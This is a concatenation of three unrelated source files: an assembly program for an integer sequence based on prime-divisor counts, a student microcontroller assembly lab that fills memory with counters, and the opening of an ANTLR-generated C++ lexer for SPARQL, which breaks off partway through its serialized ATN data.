; 1,24,24,576,24,576,24,13824,576,576,24,13824,24,576,576,331776,24,13824,24,13824,576,576,24,331776,576,576,13824,13824,24,13824,24,7962624,576,576,576,331776,24,576,576,331776,24,13824,24,13824,13824,576,24,7962624,576,13824,576,13824,24,331776,576,331776,576,576,24,331776,24,576,13824,191102976,576,13824,24,13824,576,13824,24,7962624,24,576,13824,13824,576,13824,24,7962624,331776,576,24,331776,576,576,576,331776,24,331776,576,13824,576,576,576,191102976,24,13824,13824,331776
seq $0,1222 ; Number of prime divisors of n counted with multiplicity (also called bigomega(n) or Omega(n)).
mov $2,24
pow $2,$0
mov $0,$2
|
; lab-2.asm
; Created on: Sep 13, 2018
; Author: Daniel Laden
INCLUDE 'derivative.inc'
XDEF _Startup, main
XREF __SEF_END_SSTACK
TEMP EQU $0075 ;Address of start location of RAM
INDEX EQU $0076
main:
_Startup:
mainPart2:
MOV #$01, TEMP
LDHX #$0000
STHX $60
BRA mainPart3b
mainPart3a:
CLRH
LDX #$60
MOV #$01, TEMP
BRA mainPart3aloop
mainPart3aloop:
INC TEMP
MOV TEMP, X+
LDA TEMP
SUB #$08
BEQ mainPart3a
BRA mainPart3aloop
mainPart3b:
CLRH
LDX #$60
MOV #$01, TEMP
MOV #$08, INDEX
BRA mainPart3bloop
mainPart3bloop:
MOV TEMP, X+
LSL TEMP
LDA TEMP
DEC INDEX
BEQ mainPart3b
BRA mainPart3bloop
|
// Generated from ./SPARQL.g4 by ANTLR 4.7.2
#include "SPARQLLexer.h"
using namespace antlr4;
SPARQLLexer::SPARQLLexer(CharStream *input) : Lexer(input) {
_interpreter = new atn::LexerATNSimulator(this, _atn, _decisionToDFA, _sharedContextCache);
}
SPARQLLexer::~SPARQLLexer() {
delete _interpreter;
}
std::string SPARQLLexer::getGrammarFileName() const {
return "SPARQL.g4";
}
const std::vector<std::string>& SPARQLLexer::getRuleNames() const {
return _ruleNames;
}
const std::vector<std::string>& SPARQLLexer::getChannelNames() const {
return _channelNames;
}
const std::vector<std::string>& SPARQLLexer::getModeNames() const {
return _modeNames;
}
const std::vector<std::string>& SPARQLLexer::getTokenNames() const {
return _tokenNames;
}
dfa::Vocabulary& SPARQLLexer::getVocabulary() const {
return _vocabulary;
}
const std::vector<uint16_t> SPARQLLexer::getSerializedATN() const {
return _serializedATN;
}
const atn::ATN& SPARQLLexer::getATN() const {
return _atn;
}
// Static vars and initialization.
std::vector<dfa::DFA> SPARQLLexer::_decisionToDFA;
atn::PredictionContextCache SPARQLLexer::_sharedContextCache;
// We own the ATN which in turn owns the ATN states.
atn::ATN SPARQLLexer::_atn;
std::vector<uint16_t> SPARQLLexer::_serializedATN;
std::vector<std::string> SPARQLLexer::_ruleNames = {
u8"T__0", u8"T__1", u8"T__2", u8"T__3", u8"T__4", u8"T__5", u8"T__6",
u8"T__7", u8"T__8", u8"T__9", u8"T__10", u8"T__11", u8"T__12", u8"T__13",
u8"T__14", u8"T__15", u8"T__16", u8"T__17", u8"T__18", u8"T__19", u8"T__20",
u8"T__21", u8"T__22", u8"T__23", u8"T__24", u8"T__25", u8"T__26", u8"T__27",
u8"T__28", u8"K_NOW", u8"K_YEAR", u8"K_UNION", u8"K_IF", u8"K_ASK", u8"K_ASC",
u8"K_CONCAT", u8"K_IN", u8"K_UNDEF", u8"K_INSERT", u8"K_MONTH", u8"K_DEFAULT",
u8"K_SELECT", u8"K_FLOOR", u8"K_TZ", u8"K_COPY", u8"K_CEIL", u8"K_HOURS",
u8"K_DATATYPE", u8"K_ISNUMERIC", u8"K_STRUUID", u8"K_CONSTRUCT", u8"K_ADD",
u8"K_BOUND", u8"K_NAMED", u8"K_TIMEZONE", u8"K_MIN", u8"K_ISBLANK", u8"K_UUID",
u8"K_BIND", u8"K_CLEAR", u8"K_INTO", u8"K_AS", u8"K_ALL", u8"K_IRI", u8"K_BASE",
u8"K_BY", u8"K_DROP", u8"K_LOAD", u8"K_WITH", u8"K_BNODE", u8"K_WHERE",
u8"K_AVG", u8"K_SAMPLE", u8"K_UCASE", u8"K_SERVICE", u8"K_MINUS", u8"K_SAMETERM",
u8"K_STRSTARTS", u8"K_STR", u8"K_MOVE", u8"K_HAVING", u8"K_COALESCE",
u8"K_STRBEFORE", u8"K_ABS", u8"K_ISLITERAL", u8"K_STRAFTER", u8"K_STRLEN",
u8"K_LANG", u8"K_CREATE", u8"K_DESC", u8"K_MAX", u8"K_FILTER", u8"K_USING",
u8"K_NOT", u8"K_STRENDS", u8"K_OFFSET", u8"K_CONTAINS", u8"K_PREFIX",
u8"K_MINUTES", u8"K_REPLACE", u8"K_REGEX", u8"K_DELETE", u8"K_SEPARATOR",
u8"K_DAY", u8"K_SILENT", u8"K_STRLANG", u8"K_ORDER", u8"K_ROUND", u8"K_GRAPH",
u8"K_SECONDS", u8"K_URI", u8"K_DISTINCT", u8"K_EXISTS", u8"K_GROUP", u8"K_SUM",
u8"K_REDUCED", u8"K_FROM", u8"K_LANGMATCHES", u8"K_ISURI", u8"K_TO", u8"K_ISIRI",
u8"K_RAND", u8"K_STRDT", u8"K_COUNT", u8"K_DESCRIBE", u8"K_VALUES", u8"K_LCASE",
u8"K_OPTIONAL", u8"K_LIMIT", u8"K_SUBSTR", u8"K_SIMPLECYCLEPATH", u8"K_SIMPLECYCLEBOOLEAN",
u8"K_CYCLEPATH", u8"K_CYCLEBOOLEAN", u8"K_SHORTESTPATH", u8"K_SHORTESTPATHLEN",
u8"K_KHOPREACHABLE", u8"K_KHOPENUMERATE", u8"K_KHOPREACHABLEPATH", u8"K_PPR",
u8"KK_INSERTDATA", u8"KK_DELETEDATA", u8"KK_DELETEWHERE", u8"KK_ENCODE_FOR_URI",
u8"KK_MD5", u8"KK_SHA1", u8"KK_SHA256", u8"KK_SHA384", u8"KK_SHA512",
u8"KK_GROUP_CONCAT", u8"IRIREF", u8"PNAME_NS", u8"PNAME_LN", u8"BLANK_NODE_LABEL",
u8"VAR1", u8"VAR2", u8"LANGTAG", u8"INTEGER", u8"DECIMAL", u8"DOUBLE",
u8"INTEGER_POSITIVE", u8"DECIMAL_POSITIVE", u8"DOUBLE_POSITIVE", u8"INTEGER_NEGATIVE",
u8"DECIMAL_NEGATIVE", u8"DOUBLE_NEGATIVE", u8"EXPONENT", u8"STRING_LITERAL1",
u8"STRING_LITERAL2", u8"STRING_LITERAL_LONG1", u8"STRING_LITERAL_LONG2",
u8"ECHAR", u8"NIL", u8"WS", u8"ANON", u8"PN_CHARS_BASE", u8"PN_CHARS_U",
u8"VARNAME", u8"PN_CHARS", u8"PN_PREFIX", u8"PN_LOCAL", u8"PLX", u8"PERCENT",
u8"HEX", u8"PN_LOCAL_ESC", u8"A", u8"B", u8"C", u8"D", u8"E", u8"F", u8"G",
u8"H", u8"I", u8"J", u8"K", u8"L", u8"M", u8"N", u8"O", u8"P", u8"Q",
u8"R", u8"S", u8"T", u8"U", u8"V", u8"W", u8"X", u8"Y", u8"Z"
};
std::vector<std::string> SPARQLLexer::_channelNames = {
"DEFAULT_TOKEN_CHANNEL", "HIDDEN"
};
std::vector<std::string> SPARQLLexer::_modeNames = {
u8"DEFAULT_MODE"
};
std::vector<std::string> SPARQLLexer::_literalNames = {
"", u8"'*'", u8"'('", u8"')'", u8"'{'", u8"'}'", u8"';'", u8"'.'", u8"','",
u8"'a'", u8"'|'", u8"'/'", u8"'^'", u8"'?'", u8"'+'", u8"'!'", u8"'['",
u8"']'", u8"'||'", u8"'&&'", u8"'='", u8"'!='", u8"'<'", u8"'>'", u8"'<='",
u8"'>='", u8"'-'", u8"'^^'", u8"'true'", u8"'false'"
};
std::vector<std::string> SPARQLLexer::_symbolicNames = {
"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
"", "", "", "", "", "", "", "", "", "", "", "", u8"K_NOW", u8"K_YEAR",
u8"K_UNION", u8"K_IF", u8"K_ASK", u8"K_ASC", u8"K_CONCAT", u8"K_IN", u8"K_UNDEF",
u8"K_INSERT", u8"K_MONTH", u8"K_DEFAULT", u8"K_SELECT", u8"K_FLOOR", u8"K_TZ",
u8"K_COPY", u8"K_CEIL", u8"K_HOURS", u8"K_DATATYPE", u8"K_ISNUMERIC",
u8"K_STRUUID", u8"K_CONSTRUCT", u8"K_ADD", u8"K_BOUND", u8"K_NAMED", u8"K_TIMEZONE",
u8"K_MIN", u8"K_ISBLANK", u8"K_UUID", u8"K_BIND", u8"K_CLEAR", u8"K_INTO",
u8"K_AS", u8"K_ALL", u8"K_IRI", u8"K_BASE", u8"K_BY", u8"K_DROP", u8"K_LOAD",
u8"K_WITH", u8"K_BNODE", u8"K_WHERE", u8"K_AVG", u8"K_SAMPLE", u8"K_UCASE",
u8"K_SERVICE", u8"K_MINUS", u8"K_SAMETERM", u8"K_STRSTARTS", u8"K_STR",
u8"K_MOVE", u8"K_HAVING", u8"K_COALESCE", u8"K_STRBEFORE", u8"K_ABS",
u8"K_ISLITERAL", u8"K_STRAFTER", u8"K_STRLEN", u8"K_LANG", u8"K_CREATE",
u8"K_DESC", u8"K_MAX", u8"K_FILTER", u8"K_USING", u8"K_NOT", u8"K_STRENDS",
u8"K_OFFSET", u8"K_CONTAINS", u8"K_PREFIX", u8"K_MINUTES", u8"K_REPLACE",
u8"K_REGEX", u8"K_DELETE", u8"K_SEPARATOR", u8"K_DAY", u8"K_SILENT", u8"K_STRLANG",
u8"K_ORDER", u8"K_ROUND", u8"K_GRAPH", u8"K_SECONDS", u8"K_URI", u8"K_DISTINCT",
u8"K_EXISTS", u8"K_GROUP", u8"K_SUM", u8"K_REDUCED", u8"K_FROM", u8"K_LANGMATCHES",
u8"K_ISURI", u8"K_TO", u8"K_ISIRI", u8"K_RAND", u8"K_STRDT", u8"K_COUNT",
u8"K_DESCRIBE", u8"K_VALUES", u8"K_LCASE", u8"K_OPTIONAL", u8"K_LIMIT",
u8"K_SUBSTR", u8"K_SIMPLECYCLEPATH", u8"K_SIMPLECYCLEBOOLEAN", u8"K_CYCLEPATH",
u8"K_CYCLEBOOLEAN", u8"K_SHORTESTPATH", u8"K_SHORTESTPATHLEN", u8"K_KHOPREACHABLE",
u8"K_KHOPENUMERATE", u8"K_KHOPREACHABLEPATH", u8"K_PPR", u8"KK_INSERTDATA",
u8"KK_DELETEDATA", u8"KK_DELETEWHERE", u8"KK_ENCODE_FOR_URI", u8"KK_MD5",
u8"KK_SHA1", u8"KK_SHA256", u8"KK_SHA384", u8"KK_SHA512", u8"KK_GROUP_CONCAT",
u8"IRIREF", u8"PNAME_NS", u8"PNAME_LN", u8"BLANK_NODE_LABEL", u8"VAR1",
u8"VAR2", u8"LANGTAG", u8"INTEGER", u8"DECIMAL", u8"DOUBLE", u8"INTEGER_POSITIVE",
u8"DECIMAL_POSITIVE", u8"DOUBLE_POSITIVE", u8"INTEGER_NEGATIVE", u8"DECIMAL_NEGATIVE",
u8"DOUBLE_NEGATIVE", u8"EXPONENT", u8"STRING_LITERAL1", u8"STRING_LITERAL2",
u8"STRING_LITERAL_LONG1", u8"STRING_LITERAL_LONG2", u8"ECHAR", u8"NIL",
u8"WS", u8"ANON", u8"PN_CHARS_BASE", u8"PN_CHARS_U", u8"VARNAME", u8"PN_CHARS",
u8"PN_PREFIX", u8"PN_LOCAL", u8"PLX", u8"PERCENT", u8"HEX", u8"PN_LOCAL_ESC"
};
dfa::Vocabulary SPARQLLexer::_vocabulary(_literalNames, _symbolicNames);
std::vector<std::string> SPARQLLexer::_tokenNames;
SPARQLLexer::Initializer::Initializer() {
// This code could be in a static initializer lambda, but VS doesn't allow access to private class members from there.
for (size_t i = 0; i < _symbolicNames.size(); ++i) {
std::string name = _vocabulary.getLiteralName(i);
if (name.empty()) {
name = _vocabulary.getSymbolicName(i);
}
if (name.empty()) {
_tokenNames.push_back("<INVALID>");
} else {
_tokenNames.push_back(name);
}
}
_serializedATN = {
0x3, 0x608b, 0xa72a, 0x8133, 0xb9ed, 0x417c, 0x3be7, 0x7786, 0x5964,
0x2, 0xbb, 0x6a4, 0x8, 0x1, 0x4, 0x2, 0x9, 0x2, 0x4, 0x3, 0x9, 0x3,
0x4, 0x4, 0x9, 0x4, 0x4, 0x5, 0x9, 0x5, 0x4, 0x6, 0x9, 0x6, 0x4, 0x7,
0x9, 0x7, 0x4, 0x8, 0x9, 0x8, 0x4, 0x9, 0x9, 0x9, 0x4, 0xa, 0x9, 0xa,
0x4, 0xb, 0x9, 0xb, 0x4, 0xc, 0x9, 0xc, 0x4, 0xd, 0x9, 0xd, 0x4, 0xe,
0x9, 0xe, 0x4, 0xf, 0x9, 0xf, 0x4, 0x10, 0x9, 0x10, 0x4, 0x11, 0x9,
0x11, 0x4, 0x12, 0x9, 0x12, 0x4, 0x13, 0x9, 0x13, 0x4, 0x14, 0x9, 0x14,
0x4, 0x15, 0x9, 0x15, 0x4, 0x16, 0x9, 0x16, 0x4, 0x17, 0x9, 0x17, 0x4,
0x18, 0x9, 0x18, 0x4, 0x19, 0x9, 0x19, 0x4, 0x1a, 0x9, 0x1a, 0x4, 0x1b,
0x9, 0x1b, 0x4, 0x1c, 0x9, 0x1c, 0x4, 0x1d, 0x9, 0x1d, 0x4, 0x1e, 0x9,
0x1e, 0x4, 0x1f, 0x9, 0x1f, 0x4, 0x20, 0x9, 0x20, 0x4, 0x21, 0x9, 0x21,
0x4, 0x22, 0x9, 0x22, 0x4, 0x23, 0x9, 0x23, 0x4, 0x24, 0x9, 0x24, 0x4,
0x25, 0x9, 0x25, 0x4, 0x26, 0x9, 0x26, 0x4, 0x27, 0x9, 0x27, 0x4, 0x28,
0x9, 0x28, 0x4, 0x29, 0x9, 0x29, 0x4, 0x2a, 0x9, 0x2a, 0x4, 0x2b, 0x9,
0x2b, 0x4, 0x2c, 0x9, 0x2c, 0x4, 0x2d, 0x9, 0x2d, 0x4, 0x2e, 0x9, 0x2e,
0x4, 0x2f, 0x9, 0x2f, 0x4, 0x30, 0x9, 0x30, 0x4, 0x31, 0x9, 0x31, 0x4,
0x32, 0x9, 0x32, 0x4, 0x33, 0x9, 0x33, 0x4, 0x34, 0x9, 0x34, 0x4, 0x35,
0x9, 0x35, 0x4, 0x36, 0x9, 0x36, 0x4, 0x37, 0x9, 0x37, 0x4, 0x38, 0x9,
0x38, 0x4, 0x39, 0x9, 0x39, 0x4, 0x3a, 0x9, 0x3a, 0x4, 0x3b, 0x9, 0x3b,
0x4, 0x3c, 0x9, 0x3c, 0x4, 0x3d, 0x9, 0x3d, 0x4, 0x3e, 0x9, 0x3e, 0x4,
0x3f, 0x9, 0x3f, 0x4, 0x40, 0x9, 0x40, 0x4, 0x41, 0x9, 0x41, 0x4, 0x42,
0x9, 0x42, 0x4, 0x43, 0x9, 0x43, 0x4, 0x44, 0x9, 0x44, 0x4, 0x45, 0x9,
0x45, 0x4, 0x46, 0x9, 0x46, 0x4, 0x47, 0x9, 0x47, 0x4, 0x48, 0x9, 0x48,
0x4, 0x49, 0x9, 0x49, 0x4, 0x4a, 0x9, 0x4a, 0x4, 0x4b, 0x9, 0x4b, 0x4,
0x4c, 0x9, 0x4c, 0x4, 0x4d, 0x9, 0x4d, 0x4, 0x4e, 0x9, 0x4e, 0x4, 0x4f,
0x9, 0x4f, 0x4, 0x50, 0x9, 0x50, 0x4, 0x51, 0x9, 0x51, 0x4, 0x52, 0x9,
0x52, 0x4, 0x53, 0x9, 0x53, 0x4, 0x54, 0x9, 0x54, 0x4, 0x55, 0x9, 0x55,
0x4, 0x56, 0x9, 0x56, 0x4, 0x57, 0x9, 0x57, 0x4, 0x58, 0x9, 0x58, 0x4,
0x59, 0x9, 0x59, 0x4, 0x5a, 0x9, 0x5a, 0x4, 0x5b, 0x9, 0x5b, 0x4, 0x5c,
0x9, 0x5c, 0x4, 0x5d, 0x9, 0x5d, 0x4, 0x5e, 0x9, 0x5e, 0x4, 0x5f, 0x9,
0x5f, 0x4, 0x60, 0x9, 0x60, 0x4, 0x61, 0x9, 0x61, 0x4, 0x62, 0x9, 0x62,
0x4, 0x63, 0x9, 0x63, 0x4, 0x64, 0x9, 0x64, 0x4, 0x65, 0x9, 0x65, 0x4,
0x66, 0x9, 0x66, 0x4, 0x67, 0x9, 0x67, 0x4, 0x68, 0x9, 0x68, 0x4, 0x69,
0x9, 0x69, 0x4, 0x6a, 0x9, 0x6a, 0x4, 0x6b, 0x9, 0x6b, 0x4, 0x6c, 0x9,
0x6c, 0x4, 0x6d, 0x9, 0x6d, 0x4, 0x6e, 0x9, 0x6e, 0x4, 0x6f, 0x9, 0x6f,
0x4, 0x70, 0x9, 0x70, 0x4, 0x71, 0x9, 0x71, 0x4, 0x72, 0x9, 0x72, 0x4,
0x73, 0x9, 0x73, 0x4, 0x74, 0x9, 0x74, 0x4, 0x75, 0x9, 0x75, 0x4, 0x76,
0x9, 0x76, 0x4, 0x77, 0x9, 0x77, 0x4, 0x78, 0x9, 0x78, 0x4, 0x79, 0x9,
0x79, 0x4, 0x7a, 0x9, 0x7a, 0x4, 0x7b, 0x9, 0x7b, 0x4, 0x7c, 0x9, 0x7c,
0x4, 0x7d, 0x9, 0x7d, 0x4, 0x7e, 0x9, 0x7e, 0x4, 0x7f, 0x9, 0x7f, 0x4,
0x80, 0x9, 0x80, 0x4, 0x81, 0x9, 0x81, 0x4, 0x82, 0x9, 0x82, 0x4, 0x83,
0x9, 0x83, 0x4, 0x84, 0x9, 0x84, 0x4, 0x85, 0x9, 0x85, 0x4, 0x86, 0x9,
0x86, 0x4, 0x87, 0x9, 0x87, 0x4, 0x88, 0x9, 0x88, 0x4, 0x89, 0x9, 0x89,
0x4, 0x8a, 0x9, 0x8a, 0x4, 0x8b, 0x9, 0x8b, 0x4, 0x8c, 0x9, 0x8c, 0x4,
0x8d, 0x9, 0x8d, 0x4, 0x8e, 0x9, 0x8e, 0x4, 0x8f, 0x9, 0x8f, 0x4, 0x90,
0x9, 0x90, 0x4, 0x91, 0x9, 0x91, 0x4, 0x92, 0x9, 0x92, 0x4, 0x93, 0x9,
0x93, 0x4, 0x94, 0x9, 0x94, 0x4, 0x95, 0x9, 0x95, 0x4, 0x96, 0x9, 0x96,
0x4, 0x97, 0x9, 0x97, 0x4, 0x98, 0x9, 0x98, 0x4, 0x99, 0x9, 0x99, 0x4,
0x9a, 0x9, 0x9a, 0x4, 0x9b, 0x9, 0x9b, 0x4, 0x9c, 0x9, 0x9c, 0x4, 0x9d,
0x9, 0x9d, 0x4, 0x9e, 0x9, 0x9e, 0x4, 0x9f, 0x9, 0x9f, 0x4, 0xa0, 0x9,
0xa0, 0x4, 0xa1, 0x9, 0xa1, 0x4, 0xa2, 0x9, 0xa2, 0x4, 0xa3, 0x9, 0xa3,
0x4, 0xa4, 0x9, 0xa4, 0x4, 0xa5, 0x9, 0xa5, 0x4, 0xa6, 0x9, 0xa6, 0x4,
0xa7, 0x9, 0xa7, 0x4, 0xa8, 0x9, 0xa8, 0x4, 0xa9, 0x9, 0xa9, 0x4, 0xaa,
0x9, 0xaa, 0x4, 0xab, 0x9, 0xab, 0x4, 0xac, 0x9, 0xac, 0x4, 0xad, 0x9,
0xad, 0x4, 0xae, 0x9, 0xae, 0x4, 0xaf, 0x9, 0xaf, 0x4, 0xb0, 0x9, 0xb0,
0x4, 0xb1, 0x9, 0xb1, 0x4, 0xb2, 0x9, 0xb2, 0x4, 0xb3, 0x9, 0xb3, 0x4,
0xb4, 0x9, 0xb4, 0x4, 0xb5, 0x9, 0xb5, 0x4, 0xb6, 0x9, 0xb6, 0x4, 0xb7,
0x9, 0xb7, 0x4, 0xb8, 0x9, 0xb8, 0x4, 0xb9, 0x9, 0xb9, 0x4, 0xba, 0x9,
0xba, 0x4, 0xbb, 0x9, 0xbb, 0x4, 0xbc, 0x9, 0xbc, 0x4, 0xbd, 0x9, 0xbd,
0x4, 0xbe, 0x9, 0xbe, 0x4, 0xbf, 0x9, 0xbf, 0x4, 0xc0, 0x9, 0xc0, 0x4,
0xc1, 0x9, 0xc1, 0x4, 0xc2, 0x9, 0xc2, 0x4, 0xc3, 0x9, 0xc3, 0x4, 0xc4,
0x9, 0xc4, 0x4, 0xc5, 0x9, 0xc5, 0x4, 0xc6, 0x9, 0xc6, 0x4, 0xc7, 0x9,
0xc7, 0x4, 0xc8, 0x9, 0xc8, 0x4, 0xc9, 0x9, 0xc9, 0x4, 0xca, 0x9, 0xca,
0x4, 0xcb, 0x9, 0xcb, 0x4, 0xcc, 0x9, 0xcc, 0x4, 0xcd, 0x9, 0xcd, 0x4,
0xce, 0x9, 0xce, 0x4, 0xcf, 0x9, 0xcf, 0x4, 0xd0, 0x9, 0xd0, 0x4, 0xd1,
0x9, 0xd1, 0x4, 0xd2, 0x9, 0xd2, 0x4, 0xd3, 0x9, 0xd3, 0x4, 0xd4, 0x9,
0xd4, 0x3, 0x2, 0x3, 0x2, 0x3, 0x3, 0x3, 0x3, 0x3, 0x4, 0x3, 0x4, 0x3,
0x5, 0x3, 0x5, 0x3, 0x6, 0x3, 0x6, 0x3, 0x7, 0x3, 0x7, 0x3, 0x8, 0x3,
0x8, 0x3, 0x9, 0x3, 0x9, 0x3, 0xa, 0x3, 0xa, 0x3, 0xb, 0x3, 0xb, 0x3,
0xc, 0x3, 0xc, 0x3, 0xd, 0x3, 0xd, 0x3, 0xe, 0x3, 0xe, 0x3, 0xf, 0x3,
0xf, 0x3, 0x10, 0x3, 0x10, 0x3, 0x11, 0x3, 0x11, 0x3, 0x12, 0x3, 0x12,
0x3, 0x13, 0x3, 0x13, 0x3, 0x13, 0x3, 0x14, 0x3, 0x14, 0x3, 0x14, 0x3,
0x15, 0x3, 0x15, 0x3, 0x16, 0x3, 0x16, 0x3, 0x16, 0x3, 0x17, 0x3, 0x17,
0x3, 0x18, 0x3, 0x18, 0x3, 0x19, 0x3, 0x19, 0x3, 0x19, 0x3, 0x1a, 0x3,
0x1a, 0x3, 0x1a, 0x3, 0x1b, 0x3, 0x1b, 0x3, 0x1c, 0x3, 0x1c, 0x3, 0x1c,
0x3, 0x1d, 0x3, 0x1d, 0x3, 0x1d, 0x3, 0x1d, 0x3, 0x1d, 0x3, 0x1e, 0x3,
0x1e, 0x3, 0x1e, 0x3, 0x1e, 0x3, 0x1e, 0x3, 0x1e, 0x3, 0x1f, 0x3, 0x1f,
0x3, 0x1f, 0x3, 0x1f, 0x3, 0x20, 0x3, 0x20, 0x3, 0x20, 0x3, 0x20, 0x3,
0x20, 0x3, 0x21, 0x3, 0x21, 0x3, 0x21, 0x3, 0x21, 0x3, 0x21, 0x3, 0x21,
0x3, 0x22, 0x3, 0x22, 0x3, 0x22, 0x3, 0x23, 0x3, 0x23, 0x3, 0x23, 0x3,
0x23, 0x3, 0x24, 0x3, 0x24, 0x3, 0x24, 0x3, 0x24, 0x3, 0x25, 0x3, 0x25,
0x3, 0x25, 0x3, 0x25, 0x3, 0x25, 0x3, 0x25, 0x3, 0x25, 0x3, 0x26, 0x3,
0x26, 0x3, 0x26, 0x3, 0x27, 0x3, 0x27, 0x3, 0x27, 0x3, 0x27, 0x3, 0x27,
0x3, 0x27, 0x3, 0x28, 0x3, 0x28, 0x3, 0x28, 0x3, 0x28, 0x3, 0x28, 0x3,
0x28, 0x3, 0x28, 0x3, 0x29, 0x3, 0x29, 0x3, 0x29, 0x3, 0x29, 0x3, 0x29,
0x3, 0x29, 0x3, 0x2a, 0x3, 0x2a, 0x3, 0x2a, 0x3, 0x2a, 0x3, 0x2a, 0x3,
0x2a, 0x3, 0x2a, 0x3, 0x2a, 0x3, 0x2b, 0x3, 0x2b, 0x3, 0x2b, 0x3, 0x2b,
0x3, 0x2b, 0x3, 0x2b, 0x3, 0x2b, 0x3, 0x2c, 0x3, 0x2c, 0x3, 0x2c, 0x3,
0x2c, 0x3, 0x2c, 0x3, 0x2c, 0x3, 0x2d, 0x3, 0x2d, 0x3, 0x2d, 0x3, 0x2e,
0x3, 0x2e, 0x3, 0x2e, 0x3, 0x2e, 0x3, 0x2e, 0x3, 0x2f, 0x3, 0x2f, 0x3,
0x2f, 0x3, 0x2f, 0x3, 0x2f, 0x3, 0x30, 0x3, 0x30, 0x3, 0x30, 0x3, 0x30,
0x3, 0x30, 0x3, 0x30, 0x3, 0x31, 0x3, 0x31, 0x3, 0x31, 0x3, 0x31, 0x3,
0x31, 0x3, 0x31, 0x3, 0x31, 0x3, 0x31, 0x3, 0x31, 0x3, 0x32, 0x3, 0x32,
0x3, 0x32, 0x3, 0x32, 0x3, 0x32, 0x3, 0x32, 0x3, 0x32, 0x3, 0x32, 0x3,
0x32, 0x3, 0x32, 0x3, 0x33, 0x3, 0x33, 0x3, 0x33, 0x3, 0x33, 0x3, 0x33,
0x3, 0x33, 0x3, 0x33, 0x3, 0x33, 0x3, 0x34, 0x3, 0x34, 0x3, 0x34, 0x3,
0x34, 0x3, 0x34, 0x3, 0x34, 0x3, 0x34, 0x3, 0x34, 0x3, 0x34, 0x3, 0x34,
0x3, 0x35, 0x3, 0x35, 0x3, 0x35, 0x3, 0x35, 0x3, 0x36, 0x3, 0x36, 0x3,
0x36, 0x3, 0x36, 0x3, 0x36, 0x3, 0x36, 0x3, 0x37, 0x3, 0x37, 0x3, 0x37,
0x3, 0x37, 0x3, 0x37, 0x3, 0x37, 0x3, 0x38, 0x3, 0x38, 0x3, 0x38, 0x3,
0x38, 0x3, 0x38, 0x3, 0x38, 0x3, 0x38, 0x3, 0x38, 0x3, 0x38, 0x3, 0x39,
0x3, 0x39, 0x3, 0x39, 0x3, 0x39, 0x3, 0x3a, 0x3, 0x3a, 0x3, 0x3a, 0x3,
0x3a, 0x3, 0x3a, 0x3, 0x3a, 0x3, 0x3a, 0x3, 0x3a, 0x3, 0x3b, 0x3, 0x3b,
0x3, 0x3b, 0x3, 0x3b, 0x3, 0x3b, 0x3, 0x3c, 0x3, 0x3c, 0x3, 0x3c, 0x3,
0x3c, 0x3, 0x3c, 0x3, 0x3d, 0x3, 0x3d, 0x3, 0x3d, 0x3, 0x3d, 0x3, 0x3d,
0x3, 0x3d, 0x3, 0x3e, 0x3, 0x3e, 0x3, 0x3e, 0x3, 0x3e, 0x3, 0x3e, 0x3,
0x3f, 0x3, 0x3f, 0x3, 0x3f, 0x3, 0x40, 0x3, 0x40, 0x3, 0x40, 0x3, 0x40,
0x3, 0x41, 0x3, 0x41, 0x3, 0x41, 0x3, 0x41, 0x3, 0x42, 0x3, 0x42, 0x3,
0x42, 0x3, 0x42, 0x3, 0x42, 0x3, 0x43, 0x3, 0x43, 0x3, 0x43, 0x3, 0x44,
0x3, 0x44, 0x3, 0x44, 0x3, 0x44, 0x3, 0x44, 0x3, 0x45, 0x3, 0x45, 0x3,
0x45, 0x3, 0x45, 0x3, 0x45, 0x3, 0x46, 0x3, 0x46, 0x3, 0x46, 0x3, 0x46,
0x3, 0x46, 0x3, 0x47, 0x3, 0x47, 0x3, 0x47, 0x3, 0x47, 0x3, 0x47, 0x3,
0x47, 0x3, 0x48, 0x3, 0x48, 0x3, 0x48, 0x3, 0x48, 0x3, 0x48, 0x3, 0x48,
0x3, 0x49, 0x3, 0x49, 0x3, 0x49, 0x3, 0x49, 0x3, 0x4a, 0x3, 0x4a, 0x3,
0x4a, 0x3, 0x4a, 0x3, 0x4a, 0x3, 0x4a, 0x3, 0x4a, 0x3, 0x4b, 0x3, 0x4b,
0x3, 0x4b, 0x3, 0x4b, 0x3, 0x4b, 0x3, 0x4b, 0x3, 0x4c, 0x3, 0x4c, 0x3,
0x4c, 0x3, 0x4c, 0x3, 0x4c, 0x3, 0x4c, 0x3, 0x4c, 0x3, 0x4c, 0x3, 0x4d,
0x3, 0x4d, 0x3, 0x4d, 0x3, 0x4d, 0x3, 0x4d, 0x3, 0x4d, 0x3, 0x4e, 0x3,
0x4e, 0x3, 0x4e, 0x3, 0x4e, 0x3, 0x4e, 0x3, 0x4e, 0x3, 0x4e, 0x3, 0x4e,
0x3, 0x4e, 0x3, 0x4f, 0x3, 0x4f, 0x3, 0x4f, 0x3, 0x4f, 0x3, 0x4f, 0x3,
0x4f, 0x3, 0x4f, 0x3, 0x4f, 0x3, 0x4f, 0x3, 0x4f, 0x3, 0x50, 0x3, 0x50,
0x3, 0x50, 0x3, 0x50, 0x3, 0x51, 0x3, 0x51, 0x3, 0x51, 0x3, 0x51, 0x3,
0x51, 0x3, 0x52, 0x3, 0x52, 0x3, 0x52, 0x3, 0x52, 0x3, 0x52, 0x3, 0x52,
0x3, 0x52, 0x3, 0x53, 0x3, 0x53, 0x3, 0x53, 0x3, 0x53, 0x3, 0x53, 0x3,
0x53, 0x3, 0x53, 0x3, 0x53, 0x3, 0x53, 0x3, 0x54, 0x3, 0x54, 0x3, 0x54,
0x3, 0x54, 0x3, 0x54, 0x3, 0x54, 0x3, 0x54, 0x3, 0x54, 0x3, 0x54, 0x3,
0x54, 0x3, 0x55, 0x3, 0x55, 0x3, 0x55, 0x3, 0x55, 0x3, 0x56, 0x3, 0x56,
0x3, 0x56, 0x3, 0x56, 0x3, 0x56, 0x3, 0x56, 0x3, 0x56, 0x3, 0x56, 0x3,
0x56, 0x3, 0x56, 0x3, 0x57, 0x3, 0x57, 0x3, 0x57, 0x3, 0x57, 0x3, 0x57,
0x3, 0x57, 0x3, 0x57, 0x3, 0x57, 0x3, 0x57, 0x3, 0x58, 0x3, 0x58, 0x3,
0x58, 0x3, 0x58, 0x3, 0x58, 0x3, 0x58, 0x3, 0x58, 0x3, 0x59, 0x3, 0x59,
0x3, 0x59, 0x3, 0x59, 0x3, 0x59, 0x3, 0x5a, 0x3, 0x5a, 0x3, 0x5a, 0x3,
